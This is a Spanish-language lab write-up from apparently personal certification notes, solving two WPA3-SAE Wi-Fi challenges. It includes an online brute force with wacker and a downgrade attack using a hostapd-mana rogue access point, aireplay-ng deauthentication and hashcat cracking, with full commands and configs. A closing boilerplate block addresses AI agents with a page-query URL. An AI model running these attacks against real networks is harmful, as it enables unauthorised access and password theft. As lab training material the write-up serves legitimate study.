# Challenges SAE

En este capítulo vamos a realizar los siguientes retos:

* Challenge 13 - ¿Cuál es la flag en la red wifi-management?
* Challenge 14 - ¿Cuál es la contraseña del wifi-IT?

***

## Challenge 13

* ¿Cuál es la flag en la red wifi-management?

Primero escaneamos todos los canales como siempre hasta encontrar "wifi-management"

<figure><img src="/files/mBmWMJmwSs5ytb4uXL6y" alt=""><figcaption></figcaption></figure>

Red SAE, WPA3, canal 11, ahora solo escaneamos esas canal y BSSID

```
airodump-ng wlan0 --manufacturer --band bag -c 11 --bssid F0:9F:C2:11:0A:24
```

<figure><img src="/files/MISBJQPZXyjepHamFrbB" alt=""><figcaption></figcaption></figure>

<mark style="background-color:yellow;">Las redes SAE no tiene handshake que se puedan atacar, se puede atacar a los clientes (si hay alguna mal configurado) o un ataque de fuerza bruta online</mark>

> Esperamos a tener todos los cientes posbiles capturados con airodump

En esta caso, esta red no tiene ningun cliente... asi que solo nos queda hacer un ataque de fuerza bruta online contra el AP usando `wacker`

### Fuerza Bruta Online

Para este ataque necesitamos la `frecuencia del AP,` no el canal. Para esto, conseguimos la informacion con `iwlist`

```
iwlist wlan0 frequency | grep 'Channel 11 :'
```

<figure><img src="/files/IzwDNpxQGSf0m0ZntaRW" alt=""><figcaption></figcaption></figure>

> Channel 11 : 2.462 GHz

```
./wacker.py --wordlist ~/rockyou-top100000.txt --ssid 'wifi-management' --bssid F0:9F:C2:11:0A:24 --interface wlan2 --freq 2462
```

> `--interface` : Hay que poner una interfaz de red que no este en modo monitor

<figure><img src="/files/xbkPx7cQnvX9slhaVGyy" alt=""><figcaption></figcaption></figure>

Ahora, sabiendo la credencial creamos el fichero de conexión con `wpasupplican`t -->

```bash
## Creamos fichero
nano sae.conf
## Configuramos
network={
        ssid="wifi-management"
        psk="chocolate1"
        key_mgmt=SAE
        scan_ssid=1
        ieee80211w=2
}
## Nos conectamos
wpa_supplicant -i wlan2 -c sae.conf
## Solicitamos ip con dhclient
sudo dhclient wlan2 -v
```

<figure><img src="/files/XbjXGVp4sq1hdZq0w5Ss" alt=""><figcaption></figcaption></figure>

***

## Challenge 14

* ¿Cuál es la contraseña del wifi-IT?

Escaneamos toda las redes hasta encontrar "wifi-IT" y luego hacemos un scaneo especifico a ese bssid y channel -->

```
airodump-ng wlan0 --manufacturer --band bag -c 11 --bssid F0:9F:C2:1A:CA:25 -w sae2
```

<figure><img src="/files/cDc35NjBza5qNAzKeK16" alt=""><figcaption></figcaption></figure>

Vemos que tiene un cliente, asi que podemos intentar hacerle un ataque de downgrade

### Downgrade

Para esto abrimos en fichero de la captura actual, pero abrimos el `.csv.` Asi podemos ver un poco mas de informacion de la que nos da `airodump-ng`

<figure><img src="/files/6NpmLSpodumArYFfW5CK" alt=""><figcaption></figcaption></figure>

Aqui vemos que este AP, soporta a WPA3 y WPA2, y a nivel de autentificación SAE y PSK

La mejor forma de mirar esto es con `wifi_db` para ver mas info, como si el AP tien habilitado el mfp -->

```
python3 /root/tools/wifi_db/wifi_db.py -d WifiSAE.db /home/user/wifi/SAE/
```

> `-d` Escribimos el nombre de la base de datos a generar
>
> `/` Seleccionamos la ruta donde se encutrar los ficheros

```
sqlitebrowser WifiSAE.db
```

<figure><img src="/files/LyWLZCBL1IIwfHZ0yIJm" alt=""><figcaption></figcaption></figure>

Al ver que no tiene habilitado ni el mfpc y mfpr, podemo hacerle un ataque de desautentficcacion al cliente, para forzarle que se conecte a un AP nuestro

> Este ataque es igual que el de no AP de PSK

Asi que ahora creamos un fichero de `hostap-mana` indicando el nombre de la red que nos interesa y levantando un red de PSK normal.

```bash
## Creamos el fichero hostap
nano hostapd-sae.conf
## Configuramos
interface=wlan1
driver=nl80211
hw_mode=g
channel=1
ssid=wifi-IT
mana_wpaout=hostapd-it.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678
```

Ahora levantamos levantamos con `hostap-mana` -->

```
hostapd-mana hostapd-sae.conf
```

<figure><img src="/files/PBEk5nzjUhMpBYISbgUM" alt=""><figcaption></figcaption></figure>

Ya tenemos el AP falso con WPA2 corriendo.

Ahora podemos hacer un ataque de desutentificacion al cliente -->

```bash
## Ponemos la interfaz en el canal correcto para asegurarnos
sudo iwconfig wlan0 channel 11
## Attack
aireplay-ng wlan0 -0 0 -a F0:9F:C2:1A:CA:25 -c 10:F9:6F:AC:53:52
```

> `-a` : BSSID de la wifi
>
> `-c` : MAC del cliente

Al ejecutarlo, vemos como se nos conecta un cliente a nuestro AP falso -->

<figure><img src="/files/baX47lW10f6yHSDWMQIx" alt=""><figcaption></figcaption></figure>

Ahora vamos al fichero `hostapd-it.hccapx` donde se guardan y saquemos solo el hash

```
cat hostapd-it.hccapx | head -n 1 | awk '{print $3}' >> hostapd-it.22000
```

<figure><img src="/files/TxrEMNnvOGUBncBEGWwl" alt=""><figcaption></figcaption></figure>

Y por ultimo rompemos los hashes con `hascat` -->

```
hashcat -a 0 -m 22000 hostapd-it.22000 ~/rockyou-top100000.txt --force
```

<figure><img src="/files/1aOCw3pwz2f9KQa9uciw" alt=""><figcaption></figcaption></figure>

Ahora como siempre hacemos la conexion con `wpa_supplicant` -->

```bash
## Creamo el fichero
nano sae2.conf
## Confg
network={
        ssid="wifi-IT"
        psk="bubblegum"
        key_mgmt=SAE
        scan_ssid=1
        #ieee80211w=2
}
```

> Comentamos con `#` a `ieee80211w=2` ya que el mfp esta deshabilitado

```
## Nos conectamos
wpa_supplicant -i wlan2 -c sae2.conf
## Pedimos ip con dhclient
dhclient wlan2 -v
```

<figure><img src="/files/TZ4cHpbIV1S9rSvGDJc1" alt=""><figcaption></figcaption></figure>

Ahora accdemos a la `192.168.15.1` para coger la flag


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/cwp-certified-wifichallenge-professional/capitulo-5.5-ataques-wi-fi-sae-simultaneous-authentication-of-equals/challenges-sae.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
